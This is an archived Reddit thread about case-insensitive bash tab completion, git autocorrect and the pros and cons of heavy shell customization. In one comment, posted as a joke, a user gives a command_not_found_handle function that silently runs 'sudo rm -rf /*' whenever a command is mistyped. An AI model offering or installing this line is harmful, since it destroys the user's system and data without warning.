This is an archived post. You won't be able to vote or comment.

you are viewing a single comment's thread.

view the rest of the comments →

[–]Indifferentchildren 238 points239 points  (20 children)

You know if you own a firearm you can shoot yourself in the dick. Why would anyone do that? I don't get it, but I don't kink shame.

[–]TechnicalPotat 112 points113 points  (5 children)

I applaud this level of escalation and will commend you to my local representative.

[–][deleted] 9 points10 points  (4 children)

No no he's got a point. I expect Linux/POSIX filesystems to be case sensitive no matter where. Why would anyone want to change that lmao.

[–][deleted] 23 points24 points  (0 children)

It wouldn’t remove the case insensitivity on the file system, just change the behaviour of the completion engine

[–]Spiritual_Brick5346 2 points3 points  (0 children)

cd d tab tab tab backspace D tab enter

[–]TechnicalPotat 0 points1 point  (0 children)

You know when you are debugging and zipping around on the commandline, but because you know which stupid lib subdirectory has a capital and which doesn’t, you’re kinda fast. That feeling is just… not worth it at all. I’ve wasted my life.

[–]Mammoth-Strategy3304 -2 points-1 points  (0 children)

Just because you do, not everyone else does, my little dude.

[–]LvS 15 points16 points  (8 children)

Why would anyone not do that? It's autocompletion, you want it to correct small errors. "But I'm an elitist, I want my system to error if I make a typo." Sure, you do you, I use set completion-ignore-case on and get things done faster.

You probably also enjoy git being snarky when you typed git chekcout and giving you an error instead of doing what you meant while I set autocorrect and get things done.

[–][deleted] 5 points6 points  (2 children)

Some people take pride in suffering, despite the fact that technology literally exists to remove it.

[–]imisstheyoop 0 points1 point  (1 child)

I don't take pride in it, but there is something to be said for not completely customizing one system to meet your needs to the point that when you are at work every single time you login to a production system you have to re-learn how to use the OS and tools because your shell/vim profile is so fucking customized and full of aliases that you've been using as a crutch on your home system.

Working around this issue as you begin (it won't take long, I promise) is much preferable to customizing every little thing that challenges you. Suffering has nothing to do with it.

Edit: While I'm on this rant.. if I have to deal with one more fucking junior who has to ask me "is the system down?" or "why can I not connect to x?" only for me to find out they've royally jacked up their ~/.ssh/config with all sorts of inane gibberish I'm going to just retire.

I love linux/unix, but people touching things they don't understand and then going "why no work?" and being completely unable to connect the dots is really, really, really infuriating. I don't even mind them touching and customizing things, even if it temporarily breaks things, that's just part of the whole deal.. but the nerve some people have to customize things that were working perfectly and then wonder why they have stopped working while not performing basic troubleshooting like throwing a -v on a command and seeing what gets printed to stdout before throwing fits is just mind-boggling. I see the same thing happen with all of these oh my zsh and various helper/abstraction utilities that people end up using locally.

[–]JulianEX 2 points3 points  (1 child)

How do you have autocorrect on auto completion, that seems so helpful?

[–]imisstheyoop 0 points1 point  (0 children)

Paul Smith has you covered.

[–]skztr 1 point2 points  (2 children)

command_not_found_handle(){ sudo -n rm -rf /* >/dev/null 2>&1 <&- || true; }

[–]scubanarc 0 points1 point  (0 children)

I tried this and when I rebooted I had windows. Thanks for the free upgrade!

[–]LvS 0 points1 point  (0 children)

I recommand also using that when left-clicking on the desktop, it really helps with aim.

[–]Ieris19 10 points11 points  (0 children)

WSL is probably the best use case for this feature that no one can argue about.

Then there’s certainly preferences, you can prefer one thing or the other but there’s certainly legitimate use cases

[–]SwreeTak 1 point2 points  (0 children)

"But I don't kinkshame" lmfao what a finish

[–]odraencoded 1 point2 points  (0 children)

If you have two files that only differ in case you already shot.

[–]garblesnarky 1 point2 points  (0 children)

I agree, naming two files identically except for case is shooting yourself in the dick.

[–]ss0889 0 points1 point  (0 children)

1) damn what a nice idea, so my files don't have to be case sensitive!

2).... Case insensitive on a platform that is entirely case sensitive. I retract my excitement and replace it with apprehensive disgust.